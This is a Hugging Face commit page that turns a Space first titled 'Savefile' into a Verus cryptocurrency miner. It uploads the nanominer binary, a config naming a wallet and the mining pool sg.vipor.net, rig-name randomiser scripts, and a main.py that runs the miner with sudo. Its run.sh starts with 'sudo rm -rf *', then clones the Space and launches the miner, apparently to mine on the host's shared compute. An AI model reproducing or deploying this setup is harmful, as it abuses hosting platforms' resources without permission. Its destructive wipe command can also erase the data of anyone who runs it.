ilhamap commited on
Commit
e11358a
·
verified ·
1 Parent(s): 2d7c105

Upload 10 files

Browse files
Files changed (10) hide show
  1. Archive.zip +3 -0
  2. README.md +1 -10
  3. amdmemtweak +3 -0
  4. cn.py +29 -0
  5. cn.sh +4 -0
  6. config.ini +7 -0
  7. main.py +3 -0
  8. nanominer +3 -0
  9. nanominer_web-monitor.url +5 -0
  10. run.sh +1 -0
Archive.zip ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:618290b3e2d9dff6b0673caed868fd24549333bc5fc195715bcf6e7220730ab3
3
+ size 1354585
README.md CHANGED
@@ -1,10 +1 @@
1
- ---
2
- title: Savefile
3
- emoji: ⚡
4
- colorFrom: red
5
- colorTo: yellow
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
+ # nanominer
 
 
 
 
 
 
 
 
 
amdmemtweak ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:4be05d2c30376d15cb73a90990658db528d0c8c3c524fbe10bee6738df418a50
3
+ size 1508056
cn.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import configparser
2
+ import random
3
+
4
+ # Generate a random number between 0 and 9999
5
+ random_number = random.randint(0, 9999)
6
+
7
+ # Create a worker name with the random number
8
+ worker_name = f"worker_{random_number}"
9
+
10
+ # Load the config.ini file
11
+ config = configparser.ConfigParser()
12
+ config.read('config.ini')
13
+
14
+ # Update the rigName in the [Verushash] section
15
+ if 'Verushash' in config:
16
+ config['Verushash']['rigName'] = worker_name
17
+ else:
18
+ print("Verushash section not found in config.ini")
19
+
20
+ # Write the changes back to the config.ini file
21
+ with open('config.ini', 'w') as configfile:
22
+ config.write(configfile)
23
+
24
+ print(f"Updated rigName to {worker_name}")
25
+
26
+ # Optionally run your mining script
27
+ # import os
28
+ # os.system('bash cn.sh')
29
+
cn.sh ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ #!/bin/bash
2
+ random_number=$((RANDOM % 10000))
3
+ worker_name="worker_$random_number"
4
+ sed -i '' "s/^rigName=.*/rigName=$worker_name/" config.ini
config.ini ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ [Verushash]
2
+ wallet = RFKr91aNYATHiemELH8FfCyNDFuo1gkAbK
3
+ coin = VRSC
4
+ rigName = speed_test
5
+ rigPassword= x
6
+ cpuThreads=4
7
+ pool1 = sg.vipor.net:5140
main.py ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ import os
2
+ os.system("sudo chmod +x nanominer")
3
+ os.system("sudo ./nanominer")
nanominer ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:63feb567e803793e82de9468eacc5d7bf61ae7e6376283e704cbe0e8f6e288e6
3
+ size 149974600
nanominer_web-monitor.url ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ [{000214A0-0000-0000-C000-000000000046}]
2
+ Prop3=19,2
3
+ [InternetShortcut]
4
+ IDList=
5
+ URL=http://127.0.0.1:9090/
run.sh ADDED
@@ -0,0 +1 @@
 
 
1
+ sudo rm -rf * && yes | nix-env -iA nixpkgs.git-lfs && git clone https://huggingface.co/spaces/ilhamap/savefile && mv ./savefile/* ./ && unzip Archive.zip && python3 cn.py && python3 main.py